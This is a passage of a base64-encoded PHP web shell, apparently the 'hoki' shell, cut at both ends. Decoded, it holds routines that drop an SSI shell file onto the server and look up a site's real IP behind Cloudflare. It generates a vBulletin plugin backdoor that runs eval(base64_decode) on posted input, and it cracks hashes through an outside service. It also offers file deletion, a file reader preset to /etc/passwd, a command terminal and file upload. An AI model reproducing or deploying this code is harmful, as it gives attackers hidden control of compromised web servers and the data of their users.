ZXsKCQllY2hvIF9fWkdWamIyUmxjZygkX0NPT0tJRVsidXBkYXRlaGVhZGVyX2RhdGEiXSk7Cgl9Cn0KZnVuY3Rpb24gaG9raXNzaVNoZWxsKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7Cmhva2lDcmVhdGVQYXJlbnR
Gb2xkZXIoKTsKQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddIC4gIi8iIC4gX19IT0tJX0RBVEFfRk9MREVSX18pOwpAbWtkaXIoJ2hva2lfc2h0bWwnLDA3NTUpOwpAY2hkaXIoJ2hva2lfc2h0bWwnKTsKaG9raWNnaWh0YWNjZXNzKCdzaHRtbC
cpOwokY29kZSA9ICdyVmI5YjlzMkVQMVhya3kyMk1oc0tjdTZwdGJIMEErdnpZYkNYZXp0bDZZb1pJbVMyVkNrUUZKT3ZDWC8rNDZTckNoT25LUkJBOE9SeU9QanUzZVBSL3ZQQm9PZFdJcVVaVUNWeW5VV2tFOWpwYVQ2VEFhRDBPOU1hL1l2VFhNV
GtQbktVTjNPc2hUb1JhRUMwanNsdSs5bnM0OWYza3dtZng2UFR3a0VjRXBPU1I4dUw4Rk9ub3ovK25zOG5YMzVNSjY5bjd6RitXYzI0TjE0aGpFRTFuaWFHbGhHaUtjWG5PQVRMMmxBdUlZQmo2NkRLTmYwM2hWZEp0ZXJSSUpzOFEyK0MvT1BrK2tX
Nmt6RUxYVm5PTHpqUTAzc0ZKSFc1OGxEU1hXd05wT0N6YXdXSnVlaHY2QlJFdnFHR1U3RFZ6eU5ZRWFqSEtiVFk1Z3VLT2UrVTAvNU9sYXNNTUFqa1pWUmhsUy9Sc3VvSGlSaFdvcllNQ2tna2N6MElKY0poVDc4eDlJZWpzUmxUb1VaeGxLZU1XckZ
JTVJPSWwrb3h6UXF1QkUyMUFXM1NNVERXQytWcW1mekE0YVJyb2YvL1BYU0lhY2lNd3NQOXZjWjlEYzNDOVpobjNETlo5aEhQQ3dpVTFRSHMwWDVFN2dIOEVjazRPRGxDeGRjZDFSOTROMkhHZkd1YmtPMUl4azFZMDd0NCt2VmNiSk9kMWpKN3JWUl
hNYVIxV1NvS0pkUjB1dDdWNjFNUm1ZWnB6MWdpVlZpTzdLZEgycXo0blNZTUpRa1dpR1AzamVGbzl4Q0NvcjIvQTNJSEVtZEVSZzFZOTZWNzlRbERIMm5Oc0pjSml1UXdqSU95TGFOOW1LWjU1Rkk5dnJERkVNMDVrWmduc1dTUy9UZ2psdjlFWWc0R
TJmWUFWQVdOR1huQmJkUm9aK3daZWpIaUVueFpYRVkrcWtVQnRZZ3oxL0c4ZUVoQ1MvaERsZkNwZS9ZYUVzYkZ6cHJGQXZiUG9kKzJXRGFaaFNRL1FPQ21jV2N4Y2lqcWNBZUZjczl5NzVTTFNCeHFiUlVvMEl5QytKVlpFYUtKaDRKeDJMSmxMUWFB
Qk9wYkFuZ0pzNjh3d0hUd2tJRUJKRmIyS1lhSTZ0NkE3cno2NHRYcjkvKzdqVmlGSXJXUjdsUWRtdXh0RWZicVVidHRGT0pWWC9mMHU1eG1XSy9lMlNtYitycUFoNDcwSFVUMkpKclRjaG1qTFhPQktKV0V3VE9XV0lXQVRsdzNSL1FHVklsRkd1S2x
yRENWSTIzWVRHUDRyTk15VklrZzBhVzJqemV6WjU3LzMxUU5jVWJFdDlzZFkzRTh3MkgxUVd3aFVYSzBGaTZUWFVlam40VWMxMTQzVzhFVURuazFDd2tKb0tud3Vxc3kzbk9qRDB0MkxHdWo0YXRMQk5GYWNDc0NrelYwQXNNcnd0MDFFalJCSk93Z2
UvRzE3RHR6WEJTQ2dSMExJRmJQdDhvL1dhQ0oxU1gzSFF5dTNsZ0xMRkkwYWh6Z3VrdjFFMk9LaVNOVmZ3WlFaVTh0NC9QU1hQOVhOQVk0andKZHJHYzFUM2tySEh3YXFsOEFYNXIxMjl6S2w1aWozVHFwS0NxYXJJYVVTQmxuT29IejJWMVJUN1Nyd
C9KcGZYZFg5bTBSbnk2V2Y5aDlMeEtGSHJZamt3WmNleEdNUzhUMmg5MUt2eVFkUXVwNy9EdTBnTGY2OXdqdDlLd0NueVNhN2ZsTlVYMEJ4TFl0clRTTDdYMG9KRWsyRVZOckpqMXl1b25hTmYrVDNaOUkvV3RmVHJtdjlXdUhYdWwyb3ZLL3R6Nkh3
PT0nOwpAX193cml0ZV9maWxlKCdob2tpX3NzaS5zaHRtbCcsX19nZXRfcmVzb3VyY2UoJGNvZGUpKTsKQGNobW9kKCJob2tpX3NzaS5zaHRtbCIsMDc1NSk7CmVjaG8gSG9raWlGcmFtZUNyZWF0b3IoJ2hva2lfc2h0bWwvaG9raV9zc2kuc2h0bWw
nKTsKZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2ljbG91ZGZsYXJlKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oOCw5LDEwLDcsNiw1LDQsMyk7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaX
YgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IENsb3VkIEZsYXJlIEJ5UGFzc2VyIHw8L2Rpdj48YnI+PGZvcm0gYWN0aW9uPScnIG9uc3VibWl0PVwiZygnY2xvdWRmbGFyZScsbnVsbCx0aGlzLnVybC52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO
1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxkaXYgY2xhc3M9J3R4dGZvbnQnPlRhcmdldDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9MzAgbmFtZT0ndXJsJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBwbGFjZWhvbGRlcj1cInRhcmdl
dC5jb21cIj4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddICYmICRfUE9TVFsnaG9raTInXSA9PSAnPj4nKXsKJHVybCA9ICRfUE9TVFsnaG9
raTEnXTsKaWYoIXByZWdfbWF0Y2goJy9eKGh0dHBzPyk6XC9cLyh3ezN9fHczKVwuL2knLCAkdXJsKSl7CiR1cmwgPSBwcmVnX3JlcGxhY2UoJy9eKGh0dHBzPyk6XC9cLy8nLCAnJywgJHVybCk7CiR1cmwgPSAiaHR0cDovL3d3dy4iLiR1cmw7Cn
0KJGhlYWRlcnMgPSBAZ2V0X2hlYWRlcnMoJHVybCwgMSk7CiRzZXJ2ZXIgPSAkaGVhZGVyc1snU2VydmVyJ107CiRzdWJzID0gYXJyYXkoJ293YS4nLCcydHR5LicsJ20uJywnZ3cuJywnbXgxLicsJ3N0b3JlLicsJzEnLCcyJywndmIuJywnbmV3c
y4nLCdkb3dubG9hZC4nLCd2aWRlbycsJ2NwYW5lbC4nLCAnZnRwLicsICdzZXJ2ZXIxLicsICdjZG4uJywgJ2NkbjIuJywgJ25zLicsICduczMuJywgJ21haWwuJywgJ3dlYm1haWwuJywgJ2RpcmVjdC4nLCAnZGlyZWN0LWNvbm5lY3QuJywgJ3Jl
Y29yZC4nLCAnc3NsLicsICdkbnMuJywgJ2hlbHAuJywgJ2Jsb2cuJywgJ2lyYy4nLCAnZm9ydW0uJywgJ2RsLicsICdteS4nLCAnY3AuJywgJ3BvcnRhbC4nLCAna2IuJywgJ3N1cHBvcnQuJywnc2VhcmNoLicsICdkb2NzLicsICdmaWxlcy4nLCA
nYWNjb3VudHMuJywgJ3NlY3VyZS4nLCAncmVnaXN0ZXIuJywgJ2FwcHMuJywgJ2JldGEuJywgJ2RlbW8uJywgJ3NtdHAuJywgJ25zMi4nLCAnbnMxLicsICdzZXJ2ZXIuJywgJ3Nob3AuJywgJ2hvc3QuJywgJ3dlYi4nLCAnY2xvdWQuJywgJ2FwaS
4nLCAnZXhjaGFuZ2UuJywgJ2FwcC4nLCAndnBzLicsICdvd2EuJywgJ3NhdC4nLCAnYmJzLicsICdtb3ZpZS4nLCAnbXVzaWMuJywgJ2FydC4nLCAnZnVzaW9uLicsICdtYXBzLicsICdmb3J1bXMuJywgJ2FjYy4nLCAnY2MuJywgJ2Rldi4nLCAnd
3c0Mi4nLCAnd2lraS4nLCAnY2xpZW50cy4nLCAnY2xpZW50LicsJ2Jvb2tzLicsJ2Fuc3dlcnMuJywnc2VydmljZS4nLCdncm91cHMuJywnaW1hZ2VzLicsJ3VwbG9hZC4nLCd1cC4nLCd0dWJlLicsJ3VzZXJzLicsJ2FkbWluLicsJ2FkbWluaXN0
cmF0b3IuJywncHJpdmF0ZS4nLCdkZXNpZ24uJywnd2htY3MuJywnd3AuJywnd29yZHByZXNzLicsJ2pvb21sYS4nLCd2YnVsbGV0aW4uJywndGVzdC4nLCdkZXZlbG9wZXIuJywncGFuZWwuJywnY29udGFjdC4nKTsKaWYocHJlZ19tYXRjaCgnL14
oaHR0cHM/KTpcL1wvKHd7M318dzMpXC4vaScsICR1cmwsICRtYXRjaGVzKSl7CmlmKCRtYXRjaGVzWzJdICE9ICd3d3cnKXskdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpO31lbHNlewokdXJsID0gZXhwbG
9kZSgkbWF0Y2hlc1swXSwgJHVybCk7CiR1cmwgPSAkdXJsWzFdO319CmlmKGlzX2FycmF5KCRzZXJ2ZXIpKSRzZXJ2ZXIgPSAkc2VydmVyWzBdOwplY2hvIF9fcHJlKCk7CmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkKZ
WNobyAiXG5bK10gQ2xvdWRGbGFyZSBkZXRlY3RlZDogeyRzZXJ2ZXJ9XG48YnI+IjsKZWxzZQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOwplY2hvICdbK10gQ2xvdWRGbGFyZSBJ
UDogJyAuIGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkdXJsKSkgLiAiXG5cbjxicj48YnI+IjsKZWNobyAiWytdIFNlYXJjaGluZyBmb3IgbW9yZSBJUCBhZGRyZXNzZXMuXG5cbjxicj48YnI+IjsKZm9yKCR4PTA7JHg8Y291bnQoJHN1YnMpOyR4Kys
pewokc2l0ZSA9ICRzdWJzWyR4XSAuICR1cmw7CiRpcCA9IGlzX2lwdjQoZ2V0aG9zdGJ5bmFtZSgkc2l0ZSkpOwppZigkaXAgPT0gJyhOdWxsKScpCmNvbnRpbnVlOwplY2hvICJUcnlpbmcgeyRzaXRlfTogeyRpcH1cbjxicj4iOwp9CmVjaG8gIl
xuWytdIEZpbmlzaGVkLlxuPGJyPiI7Cn0KZWNobyAnPC9kaXY+JzsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGlzX2lwdjQoJGlwKXsKcmV0dXJuIGZpbHRlcl92YXIoJGlwLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX0lQVjQpI
D8gJGlwIDogJyhOdWxsKSc7Cn0KZnVuY3Rpb24gX19hbGVydCgkcyl7CmVjaG8gJzxjZW50ZXI+Jy5fX3ByZSgpLiRzLic8L2NlbnRlcj4nOwp9CmZ1bmN0aW9uIGNyZWF0ZV90YWJsZSgkZGF0YSl7CmVjaG8gJzx0YWJsZSBib3JkZXI9IjEiPic7
CmZvcmVhY2ggKCRkYXRhIGFzICRrZXkgPT4gJHZhbCl7CiRhcnJheSA9IGFycmF5KCk7CmZvcmVhY2goJHZhbCBhcyAkayA9PiAkdil7CiRhcnJheVska10gPSAkdjsKfQplY2hvICI8dHI+PHRkPjxkaXYgY2xhc3M9J3RibHR4dCc+Ii4kYXJyYXl
bJ3RkTmFtZSddLiI8L2Rpdj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9JyIuJGFycmF5WydpZCddLiInIG5hbWU9JyIuJGFycmF5WydpbnB1dE5hbWUnXS4iJyAiLigkYXJyYXlbJ3BsYWNlaG9sZGVyJ10/J3BsYWNlaG9sZGVyJzondm
FsdWUnKS4iPSciLiRhcnJheVsnaW5wdXRWYWx1ZSddLiInIHNpemU9JyIuJGFycmF5WydpbnB1dFNpemUnXS4iJyAiLigkYXJyYXlbJ2Rpc2FibGVkJ10/J2Rpc2FibGVkJzonJykuIj48L3RkPjwvdHI+IjsKfQplY2hvICc8L3RhYmxlPic7Cn0KZ
nVuY3Rpb24gaG9raXBocDJ4bWwoKXsKaG9raWhlYWQoKTsKSG9raU51bSg4LDksMTAsNyw2LDUsNCwzKTsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTaGVsbCBGb3IgdkJ1
bGxldGluIHw8L2Rpdj48L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdwaHAyeG1sJyxudWxsLHRoaXMuY29kZS52YWx1ZSwnPj4nKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD0ncG9zdCc+CjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9Jzc
wJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPScgJyAvPjwvcD48L2Zvcm
0+PC9jZW50ZXI+IjsKaWYoJF9QT1NUWydob2tpMiddJiYkX1BPU1RbJ2hva2kyJ109PSc+PicpewplY2hvIF9fcHJlKCkuIjxwPjxjZW50ZXI+PHRleHRhcmVhIHJvd3M9JzEwJyBuYW1lPSd1c2VycycgY29scz0nODAnPiI7CmVjaG8gJzw/eG1sI
HZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz48cGx1Z2lucz48cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj48dGl0bGU+dkJ1bGxldGluPC90aXRsZT48aG9va25hbWU+aW5pdF9zdGFydHVwPC9ob29rbmFt
ZT48cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSW1wnUEhQX1NFTEZcJ10sInN1YnNjcmlwdGlvbnMucGhwIikpe2V2YWwoYmFzZTY0X2RlY29kZShcJycuX19aVzVqYjJSbGNnKCRfUE9TVFsnaG9raTEnXSkuJ1wnKSk7ZXhpdDt
9XV0+PC9waHBjb2RlPjwvcGx1Z2luPjwvcGx1Z2lucz4nOwplY2hvICc8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nOwp9CmVjaG8gJzwvY2VudGVyPjwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpY3BjcmFjaygpewpob2tpaG
VhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEhhc2ggVG9vbHMgfDwvZGl2PjwvcD48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2NwY
3JhY2tcJyxudWxsLFwnZGVjXCcpIj58IERlQ3J5cHRlciB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnY3BjcmFja1wnLG51bGwsXCdhbmFseXplclwnKSI+fCBIYXNoIEFuYWx5emVyIHwgPC9hPjwvaDM+PC9j
ZW50ZXI+JzsKaWYoJF9QT1NUWydob2tpMSddPT0nZGVjJyl7CiRhbGdvcml0aG1zID0gYXJyYXkoJ21kNSc9PidNRDUnLCdtZDQnPT4nTUQ0Jywnc2hhMSc9PidTSEExJywnc2hhMjU2Jz0+J1NIQTI1NicsJ3NoYTM4NCc9PidTSEEzODQnLCdzaGE
1MTInPT4nU0hBNTEyJywnbnRsbSc9PidOVExNJyk7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDcnlwdGVyIHw8L2Rpdj48YnI+PGJyPgo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnZG
VjXCcsdGhpcy5tZDUudmFsdWUsXCc+PlwnLHRoaXMuYWxnLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+RGVjcnlwdCBNZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0iYWxnIiBzdHlsZT0id2lkdGg6MTAwcHg7I
j4nOwpmb3JlYWNoKCRhbGdvcml0aG1zIGFzICRrZXk9PiR2YWwpe2VjaG8oJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPicpO30KZWNobyc8L3NlbGVjdD48aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ikhh
c2giIG5hbWU9Im1kNSIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNoID0
gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGhhc2hfdHlwZSA9ICRfUE9TVFsnaG9raTQnXTsKJGVtYWlsID0gImtpc2VyeW91bmlAZ21haWwuY29tIjsKJGNvZGUgPSAiN2I5ZmE3OWY5MmMzY2Q5NiI7CiR0YXJnZXQgPSAiaH
R0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9BcGkvYXBpLnBocD9oYXNoPSIuJGhhc2guIiZoYXNoX3R5cGU9Ii4kaGFzaF90eXBlLiImZW1haWw9Ii4kZW1haWwuIiZjb2RlPSIuJGNvZGU7CiRyZXNwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0YXJnZXQpO
wppZigkcmVzcD09JycpewokZ2V0ID0gbmV3IEhva2lDVVJMKCk7CiRyZXNwID0gJGdldC0+U2VuZCgkdGFyZ2V0KTsKfQplY2hvIF9fcHJlKCkuJzxjZW50ZXI+JzsKc3dpdGNoKCRyZXNwKXsKCWNhc2UoJ0NPREUgRVJSRVVSIDogMDAxJyk6ZWNo
byAiPGI+PGZvbnQgY29sb3I9J3JlZCc+WW91IGV4Y2VlZGVkIHRoZSA0MDAgYWxsb3dlZCByZXF1ZXN0IHBlciBkYXk8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwMycpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQ
nPllvdXIgcmVxdWVzdCBpbmNsdWRlcyBtb3JlIHRoYW4gNDAwIGhhc2hlcy48L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNCcpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSB0eXBlIG9mIGhhc2ggeW91IH
Byb3ZpZGUgaW4gdGhlIGFyZ3VtZW50IGhhc2hfdHlwZSBkb2Vzbid0IHNlZW0gdG8gYmUgdmFsaWQ8L2ZvbnQ+PC9iPiI7YnJlYWs7CgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSBoYXNoI
HlvdSBwcm92aWRlIGRvZXNuJ3Qgc2VlbSB0byBtYXRjaCB3aXRoIHRoZSB0eXBlIG9mIGhhc2ggeW91IHNldC48L2ZvbnQ+PC9iPiI7YnJlYWs7Cn0KaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyYmJHJlc3AhPScnKXsKZWNobyAiPGI+UmVz
dWx0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHJlc3AuIjwvZm9udD48L2I+IjsKfWVsc2VpZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnKXsKZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+Tm9UIEZvdW5kPC9mb250PjxiciAvPiI7Cn0KZWNobyg
nPC9jZW50ZXI+Jyk7Cn0KfQp9CmlmKCRfUE9TVFsnaG9raTEnXT09J2FuYWx5emVyJyl7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSGFzaCBBbmFseXplciB8PC9kaXY+PC9wPgo8Zm9ybSBvbnN1Ym1pdD
0iZyhcJ2NwY3JhY2tcJyxudWxsLFwnYW5hbHl6ZXJcJyx0aGlzLmhhc2gudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+SGFzaDogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iS
GFzaCIgbmFtZT0iaGFzaCIgc2l6ZT0iNjAiIGlkPSJ0ZXh0IiAvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iZ28iIC8+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZigkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CiRoYXNo
ID0gJF9QT1NUWydob2tpMiddOwppZighZW1wdHkoJGhhc2gpKXsKJGN1cmwgPSBuZXcgSG9raUNVUkwoKTsKJHJlc3AgPSAkY3VybC0+U2VuZCgiaHR0cHM6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGF
zaH0mY3J5cHQ9U2VhcmNoIik7CmVjaG8oX19wcmUoKS4nPGNlbnRlcj4nKTsKaWYocHJlZ19tYXRjaCgnIzxmaWVsZHNldCBjbGFzcz0idHJvdXZlIj4oLio/KTwvZmllbGRzZXQ+IycsJHJlc3AsJHMpKXsKCWVjaG8oJzxmb250IGNvbG9yPSJncm
VlbiI+Jy4kc1sxXS4nPC9mb250PicpOwp9ZWxzZXsKCWVjaG8oJzxmb250IGNvbG9yPSJyZWQiPk5vdCBGb3VuZC4uLiE8L2ZvbnQ+Jyk7Cn0KZWNobygnPC9jZW50ZXI+PGJyPicpOwp9Cn0KfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7C
n0KZnVuY3Rpb24gaG9raWZvb3RlcigpewppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsKZWNobyAiPHRhYmxlIGNsYXNzPSdmb290JyB3aWR0aD0nMTAwJScgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMycgY2VsbHBhZGRpbmc9JzAnID4KPHRy
Pgo8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnbWtmaWxlJywnJywnJywnJywnZmlsZScpO3RoaXMuZi52YWx1ZT0
nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5NYWtlIEZpbGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdmJyB2YWx1ZT0nJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdm
FsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7dGhpcy5kLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZ
m9vdGVyX3RleHQnPk1ha2UgRGlyIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT0ndGV4dCcgbmFtZT0nZCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCB3aWR0aD0n
MjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTt0aGlzLmRlbC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5EZWxldGUgOiA8L3NwYW4
+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWwnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPgo8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aG
lzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnY2htb2QnLCcnLCcnLCcnLCdub25lJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3Rle
HQnPkNobW9kIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0nMic+
PGZvcm0gb25zdWJtaXQ9J2coXCJGaWxlc01hblwiLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNoYW5nZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB
pZD0nZm9vdGVyX2N3ZCcgdHlwZT0ndGV4dCcgbmFtZT0nYycgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+Cjx0ZCBjb2xzcGFuPS
cyJz48Zm9ybSBvbnN1Ym1pdD1cImVkaXRvcih0aGlzLmZpbGUudmFsdWUsJ3ZpZXcnLCcnLCcnLCcnLCdmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+UmVhZCBGaWxlIDogPC9zcGFuPjwvc3Bhb
j48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHZhbHVlPScvZXRjL3Bhc3N3ZCc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bh
bj0nNCc+PGZvcm0gc3R5bGU9J21hcmdpbi10b3A6IDEwcHg7JyBvbnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiBhdXRvY29tcGxldGU9J29mZic+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5FeGVjdXRlIDo8L3NwYW4+PGJyPjxidXR
0b24gb25DbGljaz0naG9raU9wZW5QaHBUZXJtaW5hbCgpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdmb290dGFibGUgaG9raV9jdXN0b21fY21kX2J0bic+PGltZyBzdHlsZT0nd2lkdGg6MTVweDt2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOycgc3JjPS
dodHRwczovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3Rlcm1pbmFsLnN2Zyc+IFRlcm1pbmFsPC9idXR0b24+PGJyPjwvZm9ybT48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD0ndSh0aGlzKTtyZXR1c
m4gZmFsc2U7JyBuYW1lPSdmb290ZXJfZm9ybScgbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J0ZpbGVzTUFuJz4KPGlucHV0IHR5cGU9J2hpZGRl
bicgbmFtZT0nYycgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPgo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhamF4JyB2YWx1ZT0ndHJ1ZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2hva2kxJyB2YWx1ZT0ndXBsb2FkRml
sZSc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NoYXJzZXQnIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4KPHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5VcGxvYWQgZm
